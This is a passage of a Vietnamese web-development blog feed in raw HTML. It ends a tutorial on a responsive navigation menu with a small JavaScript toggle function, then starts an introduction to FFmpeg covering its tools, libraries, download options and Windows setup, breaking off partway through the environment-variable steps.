alt="thiet-ke-website-responsive-phan-1-menu-add-css-desktop" title="thiet-ke-website-responsive-phan-1-menu-add-css-desktop" src="/static/c5f6b150ba5ff85db03403449392026b/12f38/thiet-ke-website-responsive-phan-1-menu-add-css-desktop.png" srcset="/static/c5f6b150ba5ff85db03403449392026b/103f2/thiet-ke-website-responsive-phan-1-menu-add-css-desktop.png 165w, /static/c5f6b150ba5ff85db03403449392026b/748ba/thiet-ke-website-responsive-phan-1-menu-add-css-desktop.png 330w, /static/c5f6b150ba5ff85db03403449392026b/12f38/thiet-ke-website-responsive-phan-1-menu-add-css-desktop.png 580w" sizes="(max-width: 580px) 100vw, 580px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Giao diện trên điện thoại:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 325px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 173.33333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAIAAAAblL1PAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqklEQVRIx+3NMQqDMBhA4RwlkApZFey/uGQQD5QDODsZOnoTRyXQBBzcM0qcQoTOtS0IHUXaLh3y7Y+HjDFSyutGH1FKDcPgnLttUFmWAJDneZZlaZqe9wFAkiRFUWitx3Gc5xlxzimljLE4jgkhp31RFGGMAaDrur7vrbWobduqquq6FkJcjgghmqaZpsl7vywLWtf1+S10/9zj7bdziEMc4hCHOMR/Hr8At6m1qsHh8o4AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thiet-ke-website-responsive-menu-giao-dien-dien-thoai.png" title="thiet-ke-website-responsive-menu-giao-dien-dien-thoai.png" src="/static/edb89bbda2a4423a0440e57cd8410c00/e5cc6/thiet-ke-website-responsive-menu-giao-dien-dien-thoai.png" srcset="/static/edb89bbda2a4423a0440e57cd8410c00/103f2/thiet-ke-website-responsive-menu-giao-dien-dien-thoai.png 165w, /static/edb89bbda2a4423a0440e57cd8410c00/e5cc6/thiet-ke-website-responsive-menu-giao-dien-dien-thoai.png 325w" sizes="(max-width: 325px) 100vw, 325px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Lúc này, nếu bạn nhấn vào icon phía bên phải thanh menu thì vẫn chưa có hiện tượng gì xảy ra. Tiếp theo mình sẽ thêm phần xử lý javascript.</p> <h3 id="bước-3-xử-lý-javascript-responsivejs" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-3-x%E1%BB%AD-l%C3%BD-javascript-responsivejs" aria-label="bước 3 xử lý javascript responsivejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 3: Xử lý Javascript (responsive.js)</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">myFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> x <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"myTopnav"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x<span class="token punctuation">.</span>className <span class="token operator">===</span> <span class="token string">"topnav"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> x<span class="token punctuation">.</span>className <span class="token operator">+=</span> <span class="token string">" responsive"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> x<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">"topnav"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong phần HTML mình đã xét:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>javascript:void(0);<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>icon<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">myFunction</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>☰<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span></code></pre></div> <p>Nghĩa là class="icon" sẽ thực hiện hành động trong hàm <strong>myFunction()</strong> khi nó được click.</p> <p>Trước tiên, lấy phần tử với id là "myTopnav" dùng <strong>document.getElementById("myTopnav")</strong></p> <p>Lúc đầu, phần tử này chỉ thuộc lớp "topnav". Ta sẽ gán thêm giá trị lớp cho nó là "responsive": <strong>x.className += " responsive"</strong>. Lúc này, các mục menu sẽ được hiển thị (theo phần css ở trên)</p> <p>Khi menu đã được mở ra, nghĩa là nó sẽ thuộc 2 lớp là "topnav" và "responsive". Nếu ta nhấn vào icon phía bên phải một lần nữa thì lúc này giá trị của thuộc tính lớp sẽ chỉ là "topnav": <strong>x.className = "topnav"</strong>. Và menu sẽ lại bị ẩn đi.</p> <p>Kết quả khi nhấn vào icon:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 328px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 181.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAkCAIAAAAGkY33AAAACXBIWXMAAAsTAAALEwEAmpwYAAABNElEQVRIx+3QzYqCUBjG8XMnRkI4fpAdj0dbmJBC0AUIbWrX/RSIhYFxcoI27dy6ceVKdwXdQiHtBp2YwVaz6YOCWfnb/3lfHpCm6WKxWJX8z7vW6zUhJAiC09X5fAaTyYTjOMMwEEIMw3zcxnFcrVazLCuO4yiKjscjcByn2Wz2+31N0yRJQrdhjHmeH41Gh8Nht9tlWQZms1m9XocQiqIoPdJqtTqdzng8Hg6HYRgC27YxxoPBoNfrQQif6VmWpShqs9mUl2maxhjDq4cxQkhRFJ7nt9stmM/ngiB0u11d19vttizL+BFVVQVBKOPpdNpoNEzTNAxDFMX7g/+dvXw7SRLXdQkhy+WSELJ6gu/7nuft93twuVx+XlIUBSiK4vsleZ6/d7mKq7iKq7iK/z3+esMvlpQJ1sw6k0MAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thiet-ke-website-responsive-menu-giao-dien-phone-open" title="thiet-ke-website-responsive-menu-giao-dien-phone-open" src="/static/1268aa3c9f1936c1ce2546839712a4da/c4cd0/thiet-ke-website-responsive-menu-giao-dien-phone-open.png" srcset="/static/1268aa3c9f1936c1ce2546839712a4da/103f2/thiet-ke-website-responsive-menu-giao-dien-phone-open.png 165w, /static/1268aa3c9f1936c1ce2546839712a4da/c4cd0/thiet-ke-website-responsive-menu-giao-dien-phone-open.png 328w" sizes="(max-width: 328px) 100vw, 328px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là hướng dẫn thiết kế website responsive. Hy vọng bài viết này có thể giúp ích cho bạn.</p> <p>Ngoài ra, bạn có thể thực hành thêm với các <a href="/figma-templates-cho-web-va-di-dong/">mẫu website có sẵn</a> để thành thạo hơn trong việc chuyển hóa một bản thiết kế thành code hoàn chỉnh.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/ma-mau-logo-cac-thuong-hieu-noi-tieng/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Hướng dẫn tìm hiểu FFmpeg cơ bản - FFmpeg là gì?]]><![CDATA[Sau thời gian làm việc với FFmpeg, mình khẳng định rằng FFmpeg là một phần mềm xử lý audio, video đơn giản, miễn phí và hiệu quả nhất. Vì vậy, bài viết này sẽ giúp bạn tìm hiểu…]]>https://completejavascript.com/huong-dan-tim-hieu-ffmpeg-co-ban/https://completejavascript.com/huong-dan-tim-hieu-ffmpeg-co-ban/<![CDATA[Command Line]]><![CDATA[FFmpeg]]>Sat, 31 Mar 2018 00:00:52 GMT<p>Sau thời gian làm việc với FFmpeg, mình khẳng định rằng FFmpeg là một phần mềm xử lý audio, video đơn giản, miễn phí và hiệu quả nhất. Vì vậy, bài viết này sẽ giúp bạn tìm hiểu FFmpeg cơ bản - FFmpeg là gì, cách tải FFmpeg, cài đặt FFmpeg, một số FFmpeg code hay FFmpeg command thường dùng.</p> <p>Tuy nhiên, trước khi bắt đầu đọc bài viết này, mình mong bạn hiểu rõ về vấn đề, đó là:</p> <ul> <li>FFmpeg là hoàn toàn miễn phí, mã nguồn mở. Do đó bạn hoàn toàn yên tâm sử dụng nó ở bất kì đầu mà không sợ vi phạm bản quyền.</li> <li>Sử dụng FFmpeg để xử lý audio, video - nghĩa là bạn phải sử dụng dòng lệnh thông qua Command line (cmd). Nếu bạn cảm thấy mình lười trong việc sử dụng câu lệnh và mong muốn có một giao diện để xử lý audio, video thì mình xin lỗi rằng bài viết này không dành cho bạn. Mình xin cám ơn và hẹn gặp lại bạn ở các bài viết khác.</li> <li>Nếu bạn đọc đến đây thì có nghĩa là bạn tò mò và sẵn sàng sử dụng FFmpeg. Có thể bạn cũng đang hướng tới sự tự do và đơn giản. Cũng giống như một triết lý nổi tiếng của Lý Tiểu Long đó là:</li> </ul> <blockquote> <p>Cảnh giới cao nhất trong võ thuật là lấy vô chiêu thắng hữu chiêu. Không có chiêu thức chính là chiêu thức tối thượng.</p> </blockquote> <p>Không làm mất thời gian của bạn nữa, sau đây chúng ta sẽ cùng tìm hiểu FFmpeg. Rốt cuộc FFmpeg là gì, nó có sức mạnh lớn đến mức nào.</p> <h2 id="tìm-hiểu-ffmpeg-cơ-bản" style="position:relative;"><a href="#t%C3%ACm-hi%E1%BB%83u-ffmpeg-c%C6%A1-b%E1%BA%A3n" aria-label="tìm hiểu ffmpeg cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm hiểu FFmpeg cơ bản</h2> <h3 id="ffmpeg-là-gì" style="position:relative;"><a href="#ffmpeg-l%C3%A0-g%C3%AC" aria-label="ffmpeg là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FFmpeg là gì?</h3> <p>FFmpeg là một framework hàng đầu về đa phương tiện (xử lý audio, video). Nó có thể decode (giải mã), encode (mã hóa), transcode (chuyển mã), mux (ghép kênh), demux (phân kênh, tách kênh), stream (ví dụ như livestream trên youtube, facebook,..), filter (lọc) và play (chạy, phát video) rất nhiều thứ mà con người hay máy móc tạo ra.</p> <p>FFmpeg hỗ trợ hầu hết các định dạng. Và nó khá là linh hoạt, có thể compile, run và chạy trên nhiều nền tảng như Linux, Mac OS X, Microsoft Windows, BSD, Solaris,...và ở trên nhiều môi trường, kiến trúc khác nhau.</p> <p>Nó chứa các thư viện libavcodec, libavutil, libavformat, libavfilter, libavdevice, libswscale và libswresample. Chúng có thể được sử dụng bởi ứng dụng. Cũng giống như ffmpeg, ffserver, ffplay và ffprobe được sử dụng để transcoding, streaming và playing.</p> <p>Rõ ràng, FFmpeg là một phần mềm xử lý audio, video đơn giản, miễn phí và hiệu quả. Dù bạn là lập trình viên hay là một người sử dụng bình thường thì đều có thể sử dụng được FFmpeg cho những mục đích của mình.</p> <h3 id="các-công-cụ-xử-lý-audio-video-của-ffmpeg" style="position:relative;"><a href="#c%C3%A1c-c%C3%B4ng-c%E1%BB%A5-x%E1%BB%AD-l%C3%BD-audio-video-c%E1%BB%A7a-ffmpeg" aria-label="các công cụ xử lý audio video của ffmpeg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các công cụ xử lý audio, video của FFmpeg</h3> <p>FFmpeg cung cấp sẵn cho người dùng những tiện ích là: ffmpeg, ffserver, ffplay và ffprobe.</p> <p><strong>ffmpeg</strong></p> <p>Tiện ích dựa trên command line giúp người sử dụng chuyển đổi định dạng tệp tin (hỗ trợ rất nhiều định dạng khác nhau).</p> <p><strong>ffserver</strong></p> <p>Server cho việc streaming</p> <p><strong>ffplay</strong></p> <p>Một chương trình đơn giản giúp chạy, phát video dựa trên thư viện SDL và ffmpeg</p> <p><strong>ffprobe</strong></p> <p>Một chương trình đơn giản giúp phân tích việc stream các tệp tin đa phương tiện.</p> <h3 id="các-gói-thư-viện-của-ffmpeg" style="position:relative;"><a href="#c%C3%A1c-g%C3%B3i-th%C6%B0-vi%E1%BB%87n-c%E1%BB%A7a-ffmpeg" aria-label="các gói thư viện của ffmpeg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các gói thư viện của FFmpeg</h3> <p><strong>libavutil</strong>: là một thư viện chứa các hàm cho việc đơn giản chương trình, bao gồm việc sinh ra số ngẫu nhiên, cấu trúc dữ liệu, chương trình toán học, tiện ích đa phương tiện cơ bản,...</p> <p><strong>libavcodec</strong>: là một thư viện chứa bộ encoder (mã hóa) và decoder (giải mã) cho audio/video.</p> <p><strong>libavformat</strong>: là thư viện chứa bộ demuxer (phân kênh) và muxer (ghép kênh) cho những định dạng đa phương tiện.</p> <p><strong>libavdevice</strong>: là thư viện chứa những thiết bị đầu vào và đầu ra cho việc lấy vào hay xuất ra nội dung đa phương tiện với những phần mềm phổ biến như Video4Linux, Video4Linux2, VfW, and ALSA.</p> <p><strong>libavfilter</strong>: là thư viện cho việc lọc video</p> <p><strong>libswscale</strong>: là thư viện cho việc tối ưu hóa ảnh về co dãn, màu sắc,...</p> <p><strong>libswresample</strong>: là thư viện cho việc tối ưu hóa về việc lấy mẫu lại audio,...</p> <h2 id="hướng-dẫn-tải-và-cài-đặt-ffmpeg" style="position:relative;"><a href="#h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn-t%E1%BA%A3i-v%C3%A0-c%C3%A0i-%C4%91%E1%BA%B7t-ffmpeg" aria-label="hướng dẫn tải và cài đặt ffmpeg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hướng dẫn tải và cài đặt FFmpeg</h2> <h3 id="tải-ffmpeg" style="position:relative;"><a href="#t%E1%BA%A3i-ffmpeg" aria-label="tải ffmpeg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tải FFmpeg</h3> <p>Các bạn có thể vào trang chủ để <a href="https://ffmpeg.org/download.html">tải FFmpeg</a>. Có 3 nền tảng cho bạn lựa chọn là: Linux, Windows và Mac OS X. Ở đây mình chọn nền tảng Windows.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 513px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 61.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEElEQVQoz43PvWsTYQAG8BdExW5OZoi299nL3eV97y4h5+Wr95FLrkZsbLQVjAXFFhSKxARpBRUd/BN0kyI0uQTN52ACIqiHDl1UWpcKilnSYkWUim7S69RB7W95nuUZHjDGDU/6fRMMMcGQZ/y+NEuTFO0NGJ6A6U+cOoh0TzB1GCqsj0mYWxIuy7JkWQbLqrSpwo3pyY2pzC8VvYoh0ucHFx4emK0Ld7rK3e7A1Sd709djSsiuVCuVSqPRqNVq7Xa7UCiAd6r4XRfW8zNrt69tGpITgzQLwdkHp++9eP529f3qJ+zmU2DNjYTlxVKp0+n0ej3Hcer1+tZ4JY5+noh+vZT7Mj/7OxN/HeFoDoHcQva+4yx/XPnweejWM2DNq5GjZdvudrv9fn9paanVahWLRfBmRPyWDK5njbWM9sMMvowhkoV7zi/sv/zoUP4xvNEauNLed2wupoQWS+VyuVytVm3bbjab+XweiCQeJLAANigNHZFpSiAwDMe9FOcdhl5G8FBokJVwH0/TtOgSXJIk8TwPrPRxw0yao6OaacqKkkimNF1PJvSIIlMExpA4hWMkjhMEgblw13YB0IUQEgSBYzk3BTkUQgjR/0RRFNAMY3rm4lTuXOpkSh8zxsezmqYp4XA0Go3/naqqoigCnue3j0AEIYKyLEMI/f8DIWQYBhA7YRhG7Bogd6Ioity1P5EEz4GR3Dr5AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tải ffmpeg" title="Tải ffmpeg" src="/static/bd1adf0de572b9d079e74192f873b9f3/7fe11/tai-cai-dat-ffmpeg-phamvanlam-com.png" srcset="/static/bd1adf0de572b9d079e74192f873b9f3/103f2/tai-cai-dat-ffmpeg-phamvanlam-com.png 165w, /static/bd1adf0de572b9d079e74192f873b9f3/748ba/tai-cai-dat-ffmpeg-phamvanlam-com.png 330w, /static/bd1adf0de572b9d079e74192f873b9f3/7fe11/tai-cai-dat-ffmpeg-phamvanlam-com.png 513w" sizes="(max-width: 513px) 100vw, 513px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau đó bạn sẽ được chuyển đến trang để tải phần mềm về. Lúc này bạn có 3 lựa chọn để tải về:</p> <p><strong>Static</strong>: chỉ bao gồm các tiện ích như mình đã kể trên, tức chỉ chứa file chạy <strong>.exe</strong></p> <p><strong>Shared</strong>: ngoài những thành phần kể trên giống như của phần <strong>static</strong> thì còn có thêm thư viện dạng liên kết động <strong>.dll</strong></p> <p><strong>Dev</strong>: chứa những tệp tin như trên cộng thêm các tệp tin header, lib,...</p> <p>Có 2 trường hợp:</p> <ul> <li>Nếu bạn là người dùng bình thường thì bạn có thể chỉ cần tải về dạng <strong>Static</strong></li> <li>Nếu bạn là lập trình viên và muốn phát triển ứng dụng cho riêng mình thì có thể tải về dạng <strong>Shared</strong> hoặc <strong>Dev</strong></li> </ul> <p>Sau đây, mình sẽ chỉ nói về việc sử dụng FFmpeg như là một người dùng bình thường mà không phải là một lập trình viên.</p> <h3 id="cài-đặt-ffmpeg-trên-windows-10" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-ffmpeg-tr%C3%AAn-windows-10" aria-label="cài đặt ffmpeg trên windows 10 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt FFmpeg trên Windows 10</h3> <p>Sau khi tải về thành công bạn sẽ có một tệp tin <strong>.zip</strong>. Tiếp theo bạn hãy giải nén nó ra và copy toàn bộ nội dung đó vào một thư mục, ví dụ <strong>C:\ffmpeg</strong>.</p> <p>Thực tế là bạn đã có thể sử dụng FFmpeg rồi mà không cần phải cài đặt FFmpeg thêm gì cả. Tuy nhiên để cho việc xử lý audio, video đơn giản, nhanh chóng và hiệu quả, công việc tiếp theo đó là cài đặt biến môi trường cho phần mềm.</p> <p>Để cài đặt biến môi trường cho phần mềm FFmpeg, bạn làm theo những bước sau đây:</p> <p><strong>Bước 1</strong>: Nhấn vào biểu tượng search, rồi gõ vào <strong>Advanced system settings</strong>. Sau đó, bấm vào <strong>Advanced system settings</strong> đó.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 81.81818181818181%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHWvK6IYv8A/8QAFhABAQEAAAAAAAAAAAAAAAAAABEg/9oACAEBAAEFAkTH/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFRABAQAAAAAAAAAAAAAAAAAAIDH/2gAIAQEABj8Cq//EABsQAAICAwEAAAAAAAAAAAAAAAABETEQIVHx/9oACAEBAAE/IUn4KIhwjYqx/9oADAMBAAIAAwAAABCsD//EABURAQEAAAAAAAAAAAAAAAAAABAR/9oACAEDAQE/EIf/xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAgEBPxCn/8QAHRAAAgIBBQAAAAAAAAAAAAAAAAERITFBUWFxkf/aAAgBAQABPxDDb+C0SU1LOALPKfQyheg2tz//2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tìm advanced system settings" title="Tìm advanced system settings" src="/static/2720ee6a14d851d99dcbffe887cad6f1/5ab81/ffmpeg-la-gi-1-completejavascript.com_.jpg" srcset="/static/2720ee6a14d851d99dcbffe887cad6f1/e4e7a/ffmpeg-la-gi-1-completejavascript.com_.jpg 165w, /static/2720ee6a14d851d99dcbffe887cad6f1/4f5c6/ffmpeg-la-gi-1-completejavascript.com_.jpg 330w, /static/2720ee6a14d851d99dcbffe887cad6f1/5ab81/ffmpeg-la-gi-1-completejavascript.com_.jpg 660w, /static/2720ee6a14d851d99dcbffe887cad6f1/1ac50/ffmpeg-la-gi-1-completejavascript.com_.jpg 977w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><strong>Bước 2</strong>: Cửa sổ tiếp theo hiện ra thì bạn chọn tab <strong>Advanced</strong> => <strong>Enviroment Variables</strong></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 563px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 105.45454545454544%; position: relative; bottom: 0; left: 0; background-image: 